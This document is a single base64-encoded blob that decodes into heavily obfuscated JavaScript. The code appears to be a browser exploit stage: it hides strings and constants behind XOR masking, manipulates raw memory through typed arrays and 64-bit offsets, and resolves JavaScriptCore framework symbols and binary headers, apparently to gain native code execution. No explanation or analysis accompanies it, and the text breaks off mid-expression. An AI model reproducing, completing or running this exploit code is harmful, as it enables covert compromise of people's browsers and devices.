Z29jaWs2Ym1WM0lIZ3VWblFvTUN3d0tYMXZhQ2gwS1h0cFppZ2hNVDA5UFhSb2FYTXVjMmdwZTNSb2FYTXVjMmc5SVRBN1kyOXVjM1FnZEQxdVpYY2dWV2x1ZERNeVFYSnlZWGtvZEdocGN5NUlieTV5YUNzelBqNHlLVHRtYjNJb2JHVjBJSEk5TUR0eVBIUXViR1Z1WjNSb08zSXJLeWwwVzNKZFBWQXVlbTR1V0c0dWFYSW9kR2hwY3k1SWJ5NTBhQzVJS0RRcWNpa3BPM1JvYVhNdWJtZzlibVYzSUZWcGJuUTRRWEp5WVhrb2RDNWlkV1ptWlhJcGZXTnZibk4wSUhJOWRHaHBjeTV1YUR0c1pYUWdaVDBpSWl4dVBUQXNjejBoTVR0bWIzSW9PeUZ6T3lsN2N6MGhNRHRzWlhRZ2FUMHdMRzg5TUR0a2IzdHBLejBvS0RJd01EUTFNRFEwTURjZ1hpQXlNREEwTlRBME16WXdLU1p5VzI1ZEtUdzhieXh2S3owM2ZYZG9hV3hsS0NneE5UazRNVGt5TWpNNElGNGdNVFU1T0RFNU1qTTJOaWttY2x0dUt5dGRLVHRwWmlobFBUMDlkQ1ltTUNFOVBXa3BlMjRyS3p0c1pYUWdkRDB3TzI4OU1EdGtiM3QwS3owb0tESXdNVGc1T1RJMk9URWdYaUF5TURFNE9Ua3lOekUyS1NaeVcyNWRLVHc4Ynl4dkt6MDNmWGRvYVd4bEtDZ3hOemd6TnpFMk1UZ3dJRjRnTVRjNE16Y3hOak13T0NrbWNsdHVLeXRkS1R0eVpYUjFjbTRnZEgxdUt6MXBPMk52Ym5OMElHZzljbHR1S3l0ZE8yWnZjaWhzWlhRZ2FUMHdPMms4YUR0cEt5c3BlMnhsZENCcFBTSWlPMlp2Y2lnN01DRTlQWEpiYmwwN0tXa3JQVk4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvY2x0dUt5dGRLVHR1S3lzN2JHVjBJR2c5TUR0dlBUQTdaRzk3YUNzOUtDZ3lNRFV6TlRNd05EYzVJRjRnTWpBMU16VXpNRE00TkNrbWNsdHVYU2s4UEc4c2J5czlOMzEzYUdsc1pTZ29NVGt6TmprME5qVXhOQ0JlSURFNU16WTVORFkyTkRJcEpuSmJiaXNyWFNrN2FXWW9hUzVzWlc1bmRHZ21KbVVyYVQwOVBYUXVjM1ZpYzNSeUtEQXNaUzVzWlc1bmRHZ3JhUzVzWlc1bmRHZ3BLWHRsS3oxcExHNDlhQ3h6UFNFeE8ySnlaV0ZyZlgxOWNtVjBkWEp1SURCOWZXTnNZWE56SUhKMGUyTnZibk4wY25WamRHOXlLSFFwZTNSb2FYTXVhR2c5ZEN4MGFHbHpMbXhvUFhSb2FYTXVhR2d1U0c4dVIyOTlhV2dvZENsN1kyOXVjM1FnY2oxMGFHbHpMbWhvTG05b0tDaGJNVEE1WFM1dFlYQW9lQ0E5UGlCN2NtVjBkWEp1SUZOMGNtbHVaeTVtY205dFEyaGhja052WkdVb2VDQmVJRFV3S1gwcExtcHZhVzRvSWlJcEtTQXJJQ2gwS1NrN2NtVjBkWEp1SUhJL2RHaHBjeTVvYUM1SWJ5NUhieTVJS0hJcE9tNWxkeUI0TGxaMEtEQXNNQ2w5Wm1nb2RDbDdZMjl1YzNRZ2NqMTBhR2x6TG1ob0xtOW9LQ2hiTlRkZExtMWhjQ2g0SUQwK0lIdHlaWFIxY200Z1UzUnlhVzVuTG1aeWIyMURhR0Z5UTI5a1pTaDRJRjRnTVRBeUtYMHBMbXB2YVc0b0lpSXBLU0FySUNoMEtTazdhV1lvSVhJcGRHaHliM2NnYm1WM0lFVnljbTl5S0NJaUtUdHlaWFIxY200Z2NqOTBhR2x6TG1ob0xraHZMa2R2TGtnb2NpazZibVYzSUhndVZuUW9NQ3d3S1gxaGFDaDBLWHR5WlhSMWNtNGdNQ0U5UFhSb2FYTXVhR2d1YjJnb0tGczFYUzV0WVhBb2VDQTlQaUI3Y21WMGRYSnVJRk4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvZUNCZUlEa3dLWDBwTG1wdmFXNG9JaUlwS1NBcklDaDBLU2w5ZFdnb0xpNHVkQ2w3Wm05eUtHTnZibk4wSUhJZ2IyWWdkQ2wwY25sN2NtVjBkWEp1SUhSb2FYTXVabWdvY2lsOVkyRjBZMmdvZENsN1kyOXVkR2x1ZFdWOWRHaHliM2NnYm1WM0lFVnljbTl5S0NJaUtYMTlZMnhoYzNNZ1pYUjdZMjl1YzNSeWRXTjBiM0lvZENsN2RHaHBjeTVvYUQxMExIUm9hWE11WkdnOWJuVnNiQ3gwYUdsekxuZG9QWFJvYVhNdWFHZ3VTRzh1UjI4dWVYUW9LWDFwYUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11YUdndWIyZ29LRnN5TlYwdWJXRndLSGdnUFQ0Z2UzSmxkSFZ5YmlCVGRISnBibWN1Wm5KdmJVTm9ZWEpEYjJSbEtIZ2dYaUEzTUNsOUtTNXFiMmx1S0NJaUtTa2dLeUFvZENrcE8zSmxkSFZ5YmlCeVAzUm9hWE11ZDJncmNqb3dmWFZvS0M0dUxuUXBlMlp2Y2loamIyNXpkQ0J5SUc5bUlIUXBkSEo1ZTNKbGRIVnliaUIwYUdsekxtWm9LSElwZldOaGRHTm9LSFFwZTJOdmJuUnBiblZsZlhSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlsOVlXZ29kQ2w3Y21WMGRYSnVJREFoUFQxMGFHbHpMbWhvTG05b0tDaGJNVGRkTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdOemdwZlNrdWFtOXBiaWdpSWlrcElDc2dLSFFwS1gxbWFDaDBLWHRqYjI1emRDQnlQWFJvYVhNdWFHZ3ViMmdvS0ZzMU1WMHViV0Z3S0hnZ1BUNGdlM0psZEhWeWJpQlRkSEpwYm1jdVpuSnZiVU5vWVhKRGIyUmxLSGdnWGlBeE1EZ3BmU2t1YW05cGJpZ2lJaWtwSUNzZ0tIUXBLVHRwWmlnaGNpbDBhSEp2ZHlCdVpYY2dSWEp5YjNJb0lpSXBPM0psZEhWeWJpQjBhR2x6TG5kb0szSjlaMmdvZENsN2NtVjBkWEp1ZTFobE9uUXVXR1VzY1dVNmRDNXhaUzU1ZENncExFVnZPblF1Ulc4dWVYUW9LU3hQYnpwMExrOXZMbmwwS0Nrc1VXVTZkQzVSWlM1NWRDZ3BMSHB2T25RdWVtOHVlWFFvS1N3a2J6cDBMaVJ2TEhGdk9uUXVjVzhzVFc4NmRDNU5ieXhtYkdGbmN6cDBMbVpzWVdkekxFUnZPblF1Ukc4dWVYUW9LU3hNYnpwMExreHZmWDF0YUNoMEtYdHlaWFIxY201N1dHVTZkQzVZWlN4V2J6cDBMbFp2TEhGbE9uUXVjV1V1ZVhRb0tTeFBienAwTGs5dkxubDBLQ2tzVVdVNmRDNVJaUzU1ZENncGZYMUZhQ2gwS1h0bWIzSW9iR1YwSUhJOU1EdHlQSFJvYVhNdWFHZ3VaV2d1YkdWdVozUm9PM0lyS3lscFppaDBhR2x6TG1ob0xtVm9XM0pkTGxobFBUMDlkQ2x5WlhSMWNtNGdkR2hwY3k1bmFDaDBhR2x6TG1ob0xtVm9XM0pkS1R0eVpYUjFjbTRnYm5Wc2JIMWZhQ2gwTEhJcGUyTnZibk4wSUdVOWRHaHBjeTVGYUNoMEtUdHBaaWh1ZFd4c0lUMDlaU2w3YVdZb01DRTlQVTlpYW1WamRDNXJaWGx6S0dVdVRHOHBMbXhsYm1kMGFDbDdZMjl1YzNRZ2REMWxMa3h2VzNKZE8zSmxkSFZ5YmlCMmIybGtJREFoUFQxMFAzUm9hWE11Yldnb2RDazZiblZzYkgxN2JHVjBJRzQ5Ym5Wc2JEdG1iM0lvYkdWMElITTlNRHR6UEdVdVRXODdjeXNyS1h0amIyNXpkQ0JwUFdVdVJHOHJPREFxY3l4dlBYUXNhRDFRTG5wdUxsaHVMa1Z5S0drc01UWXBMR005ZTFobE9tOHNWbTg2YUN4eFpUcFFMbnB1TGxodUxuSnlLR2tyTXpJcExtRmtaQ2gwYUdsekxtaG9Ma2h2TGxGdktTeFBienBRTG5wdUxsaHVMbkp5S0drck5EQXBMRkZsT2xBdWVtNHVXRzR1Y25Jb2FTczBPQ2w5TzNJOVBUMW9KaVlvYmoxaktTeGxMa3h2VzJoZFBXTjljbVYwZFhKdUlHNC9kR2hwY3k1dGFDaHVLVHB1ZFd4c2ZYMXlaWFIxY200Z2JuVnNiSDFpYUNoMExISXBlMk52Ym5OMElHVTlkR2hwY3k1RmFDaDBLVHRwWmlodWRXeHNJVDA5WlNsbWIzSW9iR1YwSUc0OU1EdHVQR1V1VFc4N2Jpc3JLWHRqYjI1emRDQnpQV1V1Ukc4ck9EQXFiaXhwUFhRc2J6MVFMbnB1TGxodUxrVnlLSE1zTVRZcE8ybG1LSEk5UFQxdktYdGpiMjV6ZENCMFBYdFlaVHBwTEZadk9tOHNjV1U2VUM1NmJpNVliaTV5Y2loekt6TXlLUzVoWkdRb2RHaHBjeTVvYUM1SWJ5NVJieWtzVDI4NlVDNTZiaTVZYmk1eWNpaHpLelF3S1N4UlpUcFFMbnB1TGxodUxuSnlLSE1yTkRncGZUdHlaWFIxY200Z2RHaHBjeTV0YUNoMEtYMTljbVYwZFhKdUlHNTFiR3g5Y0dnb2RDbDdZMjl1YzNRZ2NqMTBhR2x6TGtWb0tIUXBPMmxtS0NGeUtYUm9jbTkzSUc1bGR5QkZjbkp2Y2lnaUlpazdjbVYwZFhKdUlISjlVMmdvS1h0eVpYUjFjbTRnYm5Wc2JEMDlQWFJvYVhNdVpHZ21KaWgwYUdsekxtUm9QVzVsZHlCdWRDaDBhR2x6TG1ob0xraHZMa3R2TG5sMEtDa3NkR2hwY3k1b2FDNUlieTVhYnk1NWRDZ3BLU2tzZEdocGN5NWthSDE0YUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11YVdnb2RDazdjbVYwZFhKdUlEQWhQVDF5UDFBdWVtNHVXRzR1Y25Jb2NpazZibVYzSUhndVZuUW9NQ3d3S1gxSmFDaDBLWHRqYjI1emRDQnlQWFJvYVhNdWNHZ29LRnMyTVN3Z05qRXNJRFUwTENBek9Td2dOVGdzSURVMFhTNXRZWEFvZUNBOVBpQjdjbVYwZFhKdUlGTjBjbWx1Wnk1bWNtOXRRMmhoY2tOdlpHVW9lQ0JlSURrNEtUdDlLUzVxYjJsdUtDSWlLU2twTzNKbGRIVnliaUIwTFhJdVJXOHJjaTV4WlgxVWFDaDBLWHRqYjI1emRDQnlQWFJvYVhNdWFXZ29kQ2s3Y21WMGRYSnVJREFoUFQxeVAxQXVlbTR1V0c0dWJuSW9jaWs2TUgxNWFDaDBMSElwZTJOdmJuTjBJR1U5ZEdocGN5NXBhQ2gwS1R0eVpYUjFjbTRnTUNFOVBXVS9VQzU2Ymk1WWJpNVRjaWhsS1RweWZXdG9LSFFzY2lsN1kyOXVjM1FnWlQxMGFHbHpMa1ZvS0hRcE8ybG1LRzUxYkd3OVBUMWxLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3Wm05eUtHeGxkQ0IwUFRBN2REeGxMazl2TzNRclBUZ3BlMk52Ym5OMElHNDlaUzV4WlN0ME8ybG1LRkF1ZW00dVdHNHVZbklvYmlrOVBUMXlQajQrTUNZbVVDNTZiaTVZYmk1aWNpaHVLelFwUFQwOWNpODBNamswT1RZM01qazJQajQrTUNseVpYUjFjbTRnYm4xMGFISnZkeUJ1WlhjZ1JYSnliM0lvSWlJcGZVOW9LSFFzY2lsN1kyOXVjM1FnWlQxMGFHbHpMa1ZvS0hRcE8ybG1LRzUxYkd3OVBUMWxLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3WTI5dWMzUWdiajFsTG5GbExITTlaUzV4WlN0bExrOXZPM0psZEhWeWJpQnlQajF1SmlaeVBITjllbWdvZEN4eUxHVXBlMk52Ym5OMElHNDlkR2hwY3k1ZmFDaDBMSElwTzJsbUtHNTFiR3c5UFQxdUtYUm9jbTkzSUc1bGR5QkZjbkp2Y2lnaUlpazdZMjl1YzNRZ2N6MXVMbkZsTEdrOWJpNXhaU3R1TGs5dk8zSmxkSFZ5YmlCbFBqMXpKaVpsUEdsOVVHZ29kQ2w3Wm05eUtHeGxkQ0J5UFRBN2NqeDBhR2x6TG1ob0xtVm9MbXhsYm1kMGFEdHlLeXNwYVdZb2RHaHBjeTVQYUNoMGFHbHpMbWhvTG1Wb1czSmRMbGhsTEhRcEtYSmxkSFZ5YmlFd08zSmxkSFZ5YmlFeGZWVm9LSFFzY2lsN1kyOXVjM1FnWlQxMGFHbHpMa1ZvS0hRcE8ybG1LRzUxYkd3OVBUMWxLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3Wm05eUtHeGxkQ0IwUFRBN2REeGxMazl2TzNRclBUZ3BhV1lvVUM1NmJpNVliaTVFY2lobExuRmxLM1FwUFQwOWNpbHlaWFIxY200Z1pTNXhaU3QwTzNSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlsOVFXZ29kQ3h5S1h0amIyNXpkQ0JsUFhSb2FYTXVSV2dvZENrN2FXWW9iblZzYkQwOVBXVXBkR2h5YjNjZ2JtVjNJRVZ5Y205eUtDSWlLVHRtYjNJb2JHVjBJSFE5TUR0MFBHVXVUMjg3ZENzOU9DbHBaaWhRTG5wdUxsaHVMa1J5S0dVdWNXVXJkQ2s5UFQxeUtYSmxkSFZ5YmlCUUxucHVMbGh1TG5KeUtHVXVjV1VyZENrN2RHaHliM2NnYm1WM0lFVnljbTl5S0NJaUtYMGthQ2gwTEhJc1pTbDdZMjl1YzNRZ2JqMTBhR2x6TGtWb0tIUXBPMmxtS0c1MWJHdzlQVDF1S1hSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlrN1kyOXVjM1FnY3oxMGFHbHpMa1ZvS0hJcE8ybG1LRzUxYkd3OVBUMXpLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3Wm05eUtHeGxkQ0IwUFRBN2REeHpMazl2TzNRclBUZ3BlMk52Ym5OMElISTlVQzU2Ymk1WWJpNUVjaWh6TG5GbEszUXBPMmxtS0hJK1BXNHVjV1VtSm5JOGJpNXhaU3R1TGs5dkppWWhNRDA5UFdVb2NpeFFMbnB1TGxodUxuSnlLSE11Y1dVcmRDa3BLV0p5WldGcmZYMXhhQ2gwTEhJcGUyTnZibk4wSUdVOWRHaHBjeTVGYUNoMEtUdHBaaWh1ZFd4c1BUMDlaU2wwYUhKdmR5QnVaWGNnUlhKeWIzSW9JaUlwTzJadmNpaHNaWFFnZEQwd08zUThaUzVQYnp0MEt6MDBLWHRqYjI1emRDQnVQV1V1Y1dVcmREdHBaaWdoTUQwOVBYSW9iaXhRTG5wdUxsaHVMbUp5S0c0cEtTbGljbVZoYTMxOVVtZ29kQ3h5S1h0amIyNXpkQ0JsUFhSb2FYTXVSV2dvZENrN2FXWW9iblZzYkQwOVBXVXBkR2h5YjNjZ2JtVjNJRVZ5Y205eUtDSWlLVHRtYjNJb2JHVjBJSFE5TUR0MFBHVXVUMjg3ZENzOU9DbDdZMjl1YzNRZ2JqMWxMbkZsSzNRN2FXWW9JVEE5UFQxeUtGb3VkWFFvYmlrcEtXSnlaV0ZyZlgxRGFDaDBLWHRtYjNJb1kyOXVjM1FnY2lCdlppQjBhR2x6TG1ob0xtVm9LWHRqYjI1emRDQmxQVm91ZFhRb2NpNXhaU2tzYmoxYUxuVjBLSEl1Y1dVcExrZ29lQzVmS0hJdVQyOHBLVHRwWmloMExsQnBLR1VwSmlaMExsTnBLRzRwS1hKbGRIVnliaUJ5ZlhKbGRIVnliaUJ1ZFd4c2ZYMWpiR0Z6Y3lCdWRIdGpiMjV6ZEhKMVkzUnZjaWgwTEhJcGUzUm9hWE11VFdnOWRDeDBhR2x6TGtSb1BYSXNkR2hwY3k1TWFEMGhNU3gwYUdsekxrSm9QWHQ5TEhSb2FYTXVhVzFoWjJWelBYUm9hWE11VG1nb0tYMVdhQ2dwZTNKbGRIVnliaUJRTG5wdUxsaHVMa1Z5S0hSb2FYTXVSR2dwZlZob0tDbDdjbVYwZFhKdUtGczFOQ3dnTkRNc0lEWXlMQ0ExTkN3Z01UTXNJRE0yTENBNU9Td2dNVEUwTENBeE1UUXNJRFV4TENBek1pd2dOak1zSURFd01Dd2dNVEF5TENBMU5WMHViV0Z3S0hnZ1BUNGdlM0psZEhWeWJpQlRkSEpwYm1jdVpuSnZiVU5vWVhKRGIyUmxLSGdnWGlBNE1pazdmU2t1YW05cGJpZ2lJaWtwUFQwOWRHaHBjeTVXYUNncGZWcG9LQ2w3Y21WMGRYSnVJSFJvYVhNdVRXaDlUbWdvS1h0amIyNXpkQ0IwUFZ0ZE8ybG1LQ0YwYUdsekxsWm9LQ2t1YzNSaGNuUnpWMmwwYUNnb1d6RXpMQ0F4Tml3Z05Td2dNVE5kTG0xaGNDaDRJRDArSUh0eVpYUjFjbTRnVTNSeWFXNW5MbVp5YjIxRGFHRnlRMjlrWlNoNElGNGdNVEExS1R0OUtTNXFiMmx1S0NJaUtTa3BLWFJvY205M0lHNWxkeUJGY25KdmNpZ2lJaWs3YkdWMElISTlVQzU2Ymk1WWJpNWljaWgwYUdsekxrUm9LekkwS1N4bFBWQXVlbTR1V0c0dVluSW9kR2hwY3k1RWFDc3lPQ2s3YVdZb01EMDlQWEltSmpBOVBUMWxKaVlvZEdocGN5NU1hRDBoTUN4eVBWQXVlbTR1V0c0dVluSW9kR2hwY3k1RWFDc29NVEk0TWpZNU1qRTROaUJlSURFeU9ESTJPVEkxTURZcEtTeGxQVkF1ZW00dVdHNHVZbklvZEdocGN5NUVhQ3NvT1RRMk9Ea3dNekEySUY0Z09UUTJPRGt3TmpNd0tTa3NNRDA5UFhJbUpqQTlQVDFsS1NsMGFISnZkeUJ1WlhjZ1JYSnliM0lvSWlJcE8yWnZjaWhzWlhRZ2JqMHdPMjQ4WlR0dUt5c3BlMk52Ym5OMElHVTlkR2hwY3k1RWFDdHlLek15S200c2N6MVFMbnB1TGxodUxrUnlLR1VwSzNSb2FYTXVUV2dzYVQxUUxucHVMbGh1TG1KeUtHVXJNalFwTEc4OVVDNTZiaTVZYmk1RmNpaDBhR2x6TGtSb0sya3BPM1F1Y0hWemFDaDdZV1JrY21WemN6cHpMSEJoZEdnNmIzMHBmWEpsZEhWeWJpQjBmV3BvS0NsN1kyOXVjM1FnZEQxYlhUdG1iM0lvWTI5dWMzUWdjaUJ2WmlCMGFHbHpMbWx0WVdkbGN5bDBMbkIxYzJnb2NpNXdZWFJvS1R0eVpYUjFjbTRnZEgxR2FDaDBMSElwZTNKbGRIVnliaUIwYUdsekxraG9LSFFwTG1ab0tISXBmVXRvS0hRcGUyWnZjaWhqYjI1emRDQnlJRzltSUhSb2FYTXVhVzFoWjJWektYUnllWHR5WlhSMWNtNGdkR2hwY3k1SWFDaHlMbkJoZEdncExtWm9LSFFwZldOaGRHTm9LSFFwZTJOdmJuUnBiblZsZlhSb2NtOTNJRzVsZHlCRmNuSnZjaWdpSWlsOVIyZ29kQ2w3Wm05eUtHeGxkQ0J5UFRBN2NqeDBhR2x6TG1sdFlXZGxjeTVzWlc1bmRHZzdjaXNyS1dsbUtDMHhJVDA5ZEdocGN5NXBiV0ZuWlhOYmNsMHVjR0YwYUM1cGJtUmxlRTltS0hRcEtYSmxkSFZ5YmlCMGFHbHpMbWx0WVdkbGMxdHlYUzVoWkdSeVpYTnpPM0psZEhWeWJpQXdmVWhvS0hRcGUybG1LSFp2YVdRZ01EMDlQWFJvYVhNdVFtaGJkRjBwZTJOdmJuTjBJSEk5ZEdocGN5NUhhQ2gwS1R0cFppZ3dQVDA5Y2lseVpYUjFjbTRnYm5Wc2JEdDBhR2x6TGtKb1czUmRQVmtvZUM1V2RDNTFkQ2h5S1NrdVlYSW9LWDF5WlhSMWNtNGdkR2hwY3k1Q2FGdDBYWDFLYUNoMEtYdGpiMjV6ZENCeVBYUm9hWE11U0dnb2RDazdhV1lvYm5Wc2JEMDlQWElwZEdoeWIzY2dibVYzSUVWeWNtOXlLQ0lpS1R0eVpYUjFjbTRnY24xUmFDZ3VMaTUwS1h0bWIzSW9ZMjl1YzNRZ2NpQnZaaUIwS1hSeWVYdHlaWFIxY200Z2RHaHBjeTVLYUNoeUtYMWpZWFJqYUNoMEtYdDlkR2h5YjNjZ2JtVjNJRVZ5Y205eUtDSWlLWDE5Y21WMGRYSnVJSEk3Iik7Y29uc3QgeD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMTMsIDExNSwgMTE0LCAxMTgsIDExNiwgMTE4LCAxMTYsIDExNCwgMzIsIDExNCwgMTE4LCAxMTYsIDExNSwgMTI1LCAzOCwgMzcsIDM3LCAzMiwgMTE2LCAzMywgMTEzLCAxMTUsIDMzLCAxMTQsIDMyLCAxMjUsIDMzLCAzOSwgMTI1LCAxMTksIDExNywgMTE4LCAxMTYsIDM5LCAxMTYsIDM0LCAxMTMsIDExOCwgMTEyLCAxMTVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNjgpO30pLmpvaW4oIiIpKSkse046Ryx0bjpXLG5uOkMsVnQ6bSxVOmosQW46Uyx2bjpPLFQ6bCx2Om8sSTp1LEI6cyxLOlIsTzpLfT1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMjcsIDEyNSwgMTI0LCAxMjAsIDEyMiwgMTIwLCAxMjIsIDEyNCwgNDYsIDEyNCwgMTIwLCAxMjIsIDEyNSwgMTE1LCA0MCwgNDMsIDQzLCA0NiwgMTIyLCA0NywgMTI3LCAxMjUsIDQ3LCAxMjQsIDQ2LCAxMTUsIDQ3LCA0MSwgMTE1LCAxMjEsIDEyMywgMTIwLCAxMjIsIDQxLCAxMjIsIDQ0LCAxMjcsIDEyMCwgMTI2LCAxMjVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzQpO30pLmpvaW4oIiIpKSksUD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMTIsIDExNywgMTE5LCAxMTksIDEyMCwgMzQsIDMyLCAxMTQsIDM1LCAxMTIsIDExNiwgMTEyLCAxMjAsIDM1LCAzMiwgMTE1LCAzMiwgMTIxLCAzOSwgMTE3LCAxMTMsIDM1LCAzNiwgMTE1LCAxMjEsIDExOCwgMzksIDExOSwgMTE3LCAxMTksIDM3LCAxMTcsIDM3LCAxMTgsIDExNiwgMTIwLCAxMTQsIDM2LCAzNSwgMTEzXS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDY1KTt9KS5qb2luKCIiKSkpO3IucWQ9ZnVuY3Rpb24oKXtQLnpuLkRuLFAuem4uWG4sUC56bi5qbixQLnpuLlduO2NvbnN0IGk9bmV3IGlpLGM9KHdpbmRvdy5wZXJmb3JtYW5jZS5ub3coKSxpLmlJKCgxMTYwNzg3MDIxIF4gMTA5MzY3ODE1NykpKSxvPW5ldyBVaW50MzJBcnJheShuZXcgVWludDMyQXJyYXkoMzIpLmZpbGwoKDQyOTQ5NjcyOTYgKyAoMTg2ODgzNzI0MCBeIC0xMTY3NjUwNDU3KSkpKTtpLmNJKG8pO2kub0koYyxvKTtQLnpuLlJuPW5ldyBvaShpKSxQLnpuLkpuPWl9O2NsYXNzIGlpe2NvbnN0cnVjdG9yKCl7Y29uc3QgaT1QLnpuLkRuLGM9KFAuem4uWG4sUC56bi5qbik7dGhpcy50ST17SUk6Yy5kYShpLm5sLlNhLDB4MG4pfSx0aGlzLm5JPVAuem4uWWgucWIoMHgzMDBuKSx0aGlzLmhJPW5ldyBjaSx0aGlzLnNJKCksdGhpcy55SSgpLHRoaXMubEkoKX1zSSgpe1Auem4uRG47Y29uc3QgaT1QLnpuLlhuLGM9UC56bi5qbjt0aGlzLkNJPVAuem4uWWgucWIoMHg4MG4pO2NvbnN0IG89UC56bi5Ebi50bCgoWzcwLCA1OCwgMTYsIDI2LCAyOSwgMTIsIDQsIDcwLCAzNywgMCwgMTEsIDI3LCA4LCAyNywgMTYsIDcwLCA0NywgMjcsIDgsIDQsIDEyLCAzMCwgNiwgMjcsIDIsIDI2LCA3MCwgMzUsIDgsIDMxLCA4LCA1OCwgMTAsIDI3LCAwLCAyNSwgMjksIDQyLCA2LCAyNywgMTIsIDcxLCAxNSwgMjcsIDgsIDQsIDEyLCAzMCwgNiwgMjcsIDIsIDcwLCAzNSwgOCwgMzEsIDgsIDU4LCAxMCwgMjcsIDAsIDI1LCAyOSwgNDIsIDYsIDI3LCAxMl0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMDUpO30pLmpvaW4oIiIpKSkua2woKFsyMiwgMjIsIDE5LCA3LCAxMjIsIDMsIDI2LCAxMCwgMTIwLCAxMjcsIDM1LCAzMiwgNjEsIDYsIDU3LCA0NCwgNTksIDQwLCA2MSwgMzIsIDM4LCAzOSwgNSwgMzIsIDU4LCA2MSwgMTJdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzMpO30pLmpvaW4oIiIpKSksdD1pLktpKG8pO2lmKDB4MG49PT10KXRocm93IG5ldyBFcnJvcigiIik7Y29uc3QgST1qKGkuYnIodC0weDRuKSk7aWYoMHgwbj09PUkpdGhyb3cgbmV3IEVycm9yKCIiKTtjb25zdCBuPSgoKT0+e2ZvcihsZXQgYz0wO2M8STtjKyspe2NvbnN0IG89aS5LaSh0K2ooMTYqYykpO2lmKDB4MG49PT1vKWNvbnRpbnVlO2NvbnN0IEk9aS5LaSh0K2ooMTYqYykrMHg4bik7aWYoKDQyOTQ5NjcyOTYgKyAoODI5ODM4NDMxIF4gLTQ2OTc5NzI2MikpPT09aS5icihvKSYmKDQyOTQ5NjcyOTYgKyAoODA4NTM5MjQ3IF4gLTQxNjM5MzE4MikpPT09aS5icihvKzB4NG4pKXJldHVybiBJfXRocm93IG5ldyBFcnJvcigiIil9KSgpO2kuU28oKS5qbyhbW3RoaXMuQ0ksW1tpLmtvLDgsbl0sW2kua28sMTYsMHhCMzg5bl0sW2kua28sMjQsYy5tYigweDQ5MTFuKV0sW2kua28sMzIsMHg0OTExbl1dXV0pfXlJKCl7UC56bi5Ebjtjb25zdCBpPVAuem4uWG4sYz1QLnpuLmpuLG89bmV3IFVpbnQzMkFycmF5KFsoNDI5NDk2NzI5NiArICgyMDAzOTgyMTU3IF4gLTE1Njk2MjI5OTApKSwoNDI5NDk2NzI5NiArICgxMzk1NzQwMjY2IF4gLTkxMjgxMDA4KSksKDQyOTQ5NjcyOTYgKyAoODYwNjQ0OTc5IF4gLTE3MDYyMTkxMjkpKSwoNDI5NDk2NzI5NiArICgxNTEzNjk3NjA0IF4gLTE1NTIzMzg2MTIpKSwoNDI5NDk2NzI5NiArICg4MDk2NDUzOTYgXiAtMjA3NjAzNTc4MCkpLCg0Mjk0OTY3Mjk2ICsgKDE4MDMwNDUyMzYgXiAtMTA0OTYwNTQ4NCkpLCgxODUzMzIwMDM2IF4gMjA1NDY0NjYzNCksKDQyOTQ5NjcyOTYgKyAoMTg2OTg5MzQ4NiBeIC05ODIxMDI4ODIpKSwoNDI5NDk2NzI5NiArICgxMjQ2MTIzNTcwIF4gLTUzMjE5NTkwMSkpLCg0Mjk0OTY3Mjk2ICsgKDEyMzE5NzU3ODggXiAtNTMzODAwNjAyKSksKDQyOTQ5NjcyOTYgKyAoMTEzMDMxNzQzMyBeIC0zNjcwOTQxNDkpKSwoNDI5NDk2NzI5NiArICg5MjYzMDU2NTggXiAtMTY1ODM2ODM3MykpLCg0Mjk0OTY3Mjk2ICsgKDEyOTc2MjQzOTEgXiAtNDE0Njk5ODQ5KSksKDQyOTQ5NjcyOTYgKyAoMTY2NzkyMjU0MyBeIC05MTU5MDAwMTkpKSwoNDI5NDk2NzI5NiArICgxNDY3MzAzNTI1IF4gLTQzOTU2ODQ3KSksKDQyOTQ5NjcyOTYgKyAoMTM4MDU0MjU0NSBeIC0xMjg2ODUxNDQpKSwoNDI5NDk2NzI5NiArICgxMTYwOTMzMjM5IF4gLTI4MjMwMTI5OSkpLCg0Mjk0OTY3Mjk2ICsgKDExNDY1MDA5NDQgXiAtMTgyMTgxOTM2NSkpLCg0Mjk0OTY3Mjk2ICsgKDE3MDExOTc5MzUgXiAtODEzNzQ1MjYyKSksKDQyOTQ5NjcyOTYgKyAoMTg4Mzg1NTE0OSBeIC02MzIwNzE0NjkpKSwoNDI5NDk2NzI5NiArICgxMjY2MTEzMTMxIF4gLTQ5OTc3MjAwMSkpLCg0Mjk0OTY3Mjk2ICsgKDE4NTIyNjgzOTIgXiAtOTYyMjUwNjA2KSksKDQyOTQ5NjcyOTYgKyAoMTQxMzU3MTE3MiBeIC0yMTExOTM1MDc3KSksKDQyOTQ5NjcyOTYgKyAoMTI3OTU0Mzg2NSBeIC0xNzIzMzczMDE4KSldKTt0aGlzLmdJPXRoaXMuYkkobyk7Zm9yKGxldCBjPTA7YzxvLmxlbmd0aDtjKyspe2lmKG9bY10hPT1pLmJyKHRoaXMuZ0kraig0KmMpKSl0aHJvdyBuZXcgRXJyb3IoIiIpfWZvcihsZXQgYz00ODtjPDUzO2MrKyl7aS5TbygpLmpvKFtbdGhpcy5DSSxbW2kua28sMCxqKGMpXV1dXSk7aWYoUC56bi5abi5jYWxsKHRoaXMuZ0ksW3RoaXMuQ0ksMHgyMjIybiww